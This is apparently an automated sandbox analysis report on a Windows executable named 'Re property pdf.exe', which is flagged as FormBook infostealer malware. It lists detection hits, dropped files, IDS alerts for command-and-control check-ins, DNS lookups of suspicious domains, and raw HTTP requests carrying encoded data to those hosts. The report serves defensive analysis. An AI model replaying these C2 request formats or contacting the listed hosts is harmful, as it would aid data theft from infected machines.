Windows Analysis Report
Re property pdf.exe

AI detected suspicious sample

Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Re property pdf.exe

Joe Sandbox ML: detected

Source: Re property pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Re property pdf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: PresentationHost.pdbGCTL source: uGMCFMVqKoR.exe, 00000010.00000003.2118973099.0000000000A3B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uGMCFMVqKoR.exe, 00000010.00000002.4211703538.0000000000C2E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: wntdll.pdbUGP source: Re property pdf.exe, 00000006.00000002.2172585991.0000000000FD0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Re property pdf.exe, Re property pdf.exe, 00000006.00000002.2172585991.0000000000FD0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationHost.pdb source: uGMCFMVqKoR.exe, 00000010.00000003.2118973099.0000000000A3B000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior

Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 4x nop then pop edi	16_2_0596FC25
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 4x nop then mov esp, ebp	16_2_0596DC53
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 4x nop then xor eax, eax	16_2_059737CA
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 4x nop then pop edi	16_2_05970284

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49762 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49858 -> 172.67.181.186:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.4:49858 -> 172.67.181.186:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49843 -> 172.67.181.186:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49888 -> 172.67.181.186:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49935 -> 104.223.44.195:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49919 -> 104.223.44.195:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49950 -> 104.223.44.195:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49873 -> 172.67.181.186:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50021 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49965 -> 104.223.44.195:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50032 -> 172.67.196.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50035 -> 172.67.196.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50026 -> 221.128.225.57:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50028 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50031 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50057 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50044 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49996 -> 203.161.41.204:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50039 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50022 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50050 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50019 -> 203.161.41.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50033 -> 172.67.196.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50038 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50045 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50012 -> 203.161.41.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50030 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50042 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50059 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50037 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50025 -> 221.128.225.57:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50053 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50029 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50055 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50041 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50018 -> 203.161.41.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50020 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50048 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50024 -> 221.128.225.57:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50052 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50036 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50027 -> 221.128.225.57:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50056 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50051 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50043 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50058 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50049 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50023 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50054 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50047 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50040 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50046 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50034 -> 172.67.196.90:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.hcpf.xyz

Source: Joe Sandbox View

IP Address: 199.59.243.227 199.59.243.227

Source: Joe Sandbox View	ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CHINA169-BACKBONECHINAUNICOMChina169BackboneCN CHINA169-BACKBONECHINAUNICOMChina169BackboneCN
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /lpx9/?2BWDG=yfrMmnVL9edufzkkV67gQCynHe5+gBIRO00DGxhyT3HPHFaar1P6nPddxxsQoEWGQjZ/tmjPotgApkkCYtaEOgx0Q//NLra/l6H2B8DThfTi+Y2WyOSOvVY=&wfm=G6oTo8vx HTTP/1.1Host: www.cortesads.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /uy9i/?2BWDG=A7IH/mkAt1Xlqot58OI0S8+25JAud1UhEF7OmTb3ULNYiQ53L6C3hDLglTjiGws4A/oSTbY/vB+Y5OcBKWIDb0nFjD7/puJZKInM70o9vL6/qU8mcXMhaE0=&wfm=G6oTo8vx HTTP/1.1Host: www.hcpf.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /czzt/?2BWDG=KAKG4dTjIDwNH0df8gU76RPra4TcXDDcoeBE7DNk+h+PFOgCIDI8J8PfDl8Ob7fEK2PQwbhHJxVFGH/KvrYWkV/dbZ6zqApOmDyx5MnRXvHLaXYjnht+BzI=&wfm=G6oTo8vx HTTP/1.1Host: www.kerennih31.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /w90v/?2BWDG=pxDyyHWOZ6ShkfCEnqNJFogO2iS2H7GTGeagqdlkqhurb1KRhlhkT/xhewcGJOmLLVVpZKefMTitXH9lS8UNo0PZm0vp/3iOIb2YKVi8sc5e3OZy6VAXooU=&wfm=G6oTo8vx HTTP/1.1Host: www.setsea.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /zqr8/?wfm=G6oTo8vx&2BWDG=eFg3/wX1FEtYOEOO4fQK8DyYn+9t5MnQ8eGMWFr4U+K0Svorcp+hU2bkMlDd81KIhBlHBG6GkgZ398FJiVEbDYmwZdVtcUsewSnSC4COghX7uWVmIVZIHjw= HTTP/1.1Host: www.cablecarrental.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /90ie/?2BWDG=AFgPY5yU7pWSzToyhb8ap/LyT/DZ/ZjK5Re3S38zcWWIWncLwX1SLyCTcQH6faMmzCRwYrf9WSeYlPfjK7mc/MKG5u8f2O6ThoCO5oN+7y0XqZ+4yAUZ7Sk=&wfm=G6oTo8vx HTTP/1.1Host: www.cqghwamc.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /axh7/?2BWDG=GVKSBocRMS2FyqXHPjOj9+OrOzTrYXMr5CJl/TLorgfRhIZbevfCFnb7jtSuw/m1FqikvKjm63UqVHDKIE9/vbA5AM47cN5qZi+S7x4iOYPaiZ0KOepXdRg=&wfm=G6oTo8vx HTTP/1.1Host: www.662-home-nb.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /9ect/?2BWDG=U/rZoA1baL0SL+0w4EIlW/PNU4WGlNOJMCqR5hBTWTt3GNoAWeGWO/yRUixBoPW1Dvb67sqohAoonSA3rpdCYc2/1Z8mRmloUf5F40vQT8nvaVFEdkWR3Yo=&wfm=G6oTo8vx HTTP/1.1Host: www.stopgazviganais.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /o6ua/?wfm=G6oTo8vx&2BWDG=PtkUewcqXhXGGI7VMrya73N+Qsazq4YwnB9JayH4Wx/cNc5hllniCA+e9SSCe0uJ5GQ5bYdUyDtJB9Y3dlvxJqubD8cdfqbVHrRmeQrxGVujTIKJZNnfFV0= HTTP/1.1Host: www.whiterabbitgroup.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /puvv/?2BWDG=T/LHAG9D/DKJAY4cGgIDBFFZtM7APAzZIDfepGdmMtSSWfF7Llgex9+86BRulJJgtl8XrMP4vqS7406AXnp/ur5mLgtmNl9eCp3snLA44a4sQebgdSQlBLY=&wfm=G6oTo8vx HTTP/1.1Host: www.bidiez.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /tlpb/?2BWDG=OZnoRuv0v/1Z/CA6HO2FEIDEprX/+1BF8Drjd+I5ZVz3FMGcbqM7cMP28c7FY+8MR3FV1C6ikaATRgc5pZIEy8I+zLLxgcbQl7nSgVZzV1ZQYFDgHJWD22o=&wfm=G6oTo8vx HTTP/1.1Host: www.deltastem.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /170y/?2BWDG=I3o45m+IM5HdnoUn9E/KeuZYRn+MuP/J4/ZPHUzUWglV3+hragapbTpjy/fUorb6vXgAJIJIb8kfShtL1xPmTfA4E9gYWbnzpoLcgkFnKSz5IRKj2k5YNRo=&wfm=G6oTo8vx HTTP/1.1Host: www.dxfwrc2h.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /314m/?wfm=G6oTo8vx&2BWDG=/nEoHfYmGWKhq8vFGRFNK+CuQmseJQPwD7+4RgKMnEs9pXqONJL1vWb6ndeJft1RBApaVMH9KNEUZDtJl+3Iba72QDspFCGFBwch41sSsFCGmhRE7+Dvvlc= HTTP/1.1Host: www.rsantos.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Source: global traffic	HTTP traffic detected: GET /a57a/?2BWDG=ufBwFiprob3VF6k6UE1279W30zXHAcoAMQ5DA8EncRwSSdWTAgjp/PT6qbRvKZhyWw7OmhD3dggL59zyh6BsMWoIasJTvdtYPi0tEctyZ7U7D7SOHDVEOnk=&wfm=G6oTo8vx HTTP/1.1Host: www.jsninja.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)

Source: global traffic	DNS traffic detected: DNS query: www.cortesads.net
Source: global traffic	DNS traffic detected: DNS query: www.hcpf.xyz
Source: global traffic	DNS traffic detected: DNS query: www.kerennih31.click
Source: global traffic	DNS traffic detected: DNS query: www.setsea.info
Source: global traffic	DNS traffic detected: DNS query: www.cablecarrental.net
Source: global traffic	DNS traffic detected: DNS query: www.cqghwamc.top
Source: global traffic	DNS traffic detected: DNS query: www.662-home-nb.shop
Source: global traffic	DNS traffic detected: DNS query: www.stopgazviganais.org
Source: global traffic	DNS traffic detected: DNS query: www.whiterabbitgroup.pro
Source: global traffic	DNS traffic detected: DNS query: www.bidiez.com
Source: global traffic	DNS traffic detected: DNS query: www.deltastem.net
Source: global traffic	DNS traffic detected: DNS query: www.dxfwrc2h.sbs
Source: global traffic	DNS traffic detected: DNS query: www.rsantos.shop
Source: global traffic	DNS traffic detected: DNS query: www.jsninja.net
Source: global traffic	DNS traffic detected: DNS query: www.everyone.golf

Source: unknown

HTTP traffic detected: POST /uy9i/ HTTP/1.1Host: www.hcpf.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brContent-Length: 202Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Origin: http://www.hcpf.xyzReferer: http://www.hcpf.xyz/uy9i/User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)Data Raw: 32 42 57 44 47 3d 4e 35 67 6e 38 51 73 30 37 7a 6e 73 6b 70 4d 4d 68 37 4d 4d 53 4b 61 35 35 34 74 35 56 31 39 45 44 46 7a 79 32 58 57 4a 5a 62 64 2b 69 41 6b 73 41 72 79 61 6b 30 72 44 6e 44 6a 78 47 77 49 72 56 75 31 6e 45 59 6b 46 6b 41 2f 61 39 63 42 31 55 33 4d 61 4e 79 2f 6c 72 69 7a 45 34 65 35 31 4e 71 58 56 78 57 34 4f 6c 73 36 34 74 32 38 33 55 56 4d 43 46 48 34 30 61 52 62 31 49 38 71 69 75 4e 34 51 30 30 65 73 6e 32 44 2f 38 6e 7a 48 57 33 55 72 79 51 6f 78 32 34 72 4e 35 67 78 45 37 41 33 2f 31 79 52 62 7a 45 38 52 55 57 6b 68 30 76 49 33 43 31 38 35 79 55 70 36 58 75 75 55 59 67 3d 3d Data Ascii: 2BWDG=N5gn8Qs07znskpMMh7MMSKa554t5V19EDFzy2XWJZbd+iAksAryak0rDnDjxGwIrVu1nEYkFkA/a9cB1U3MaNy/lrizE4e51NqXVxW4Ols64t283UVMCFH40aRb1I8qiuN4Q00esn2D/8nzHW3UryQox24rN5gxE7A3/1yRbzE8RUWkh0vI3C185yUp6XuuUYg==

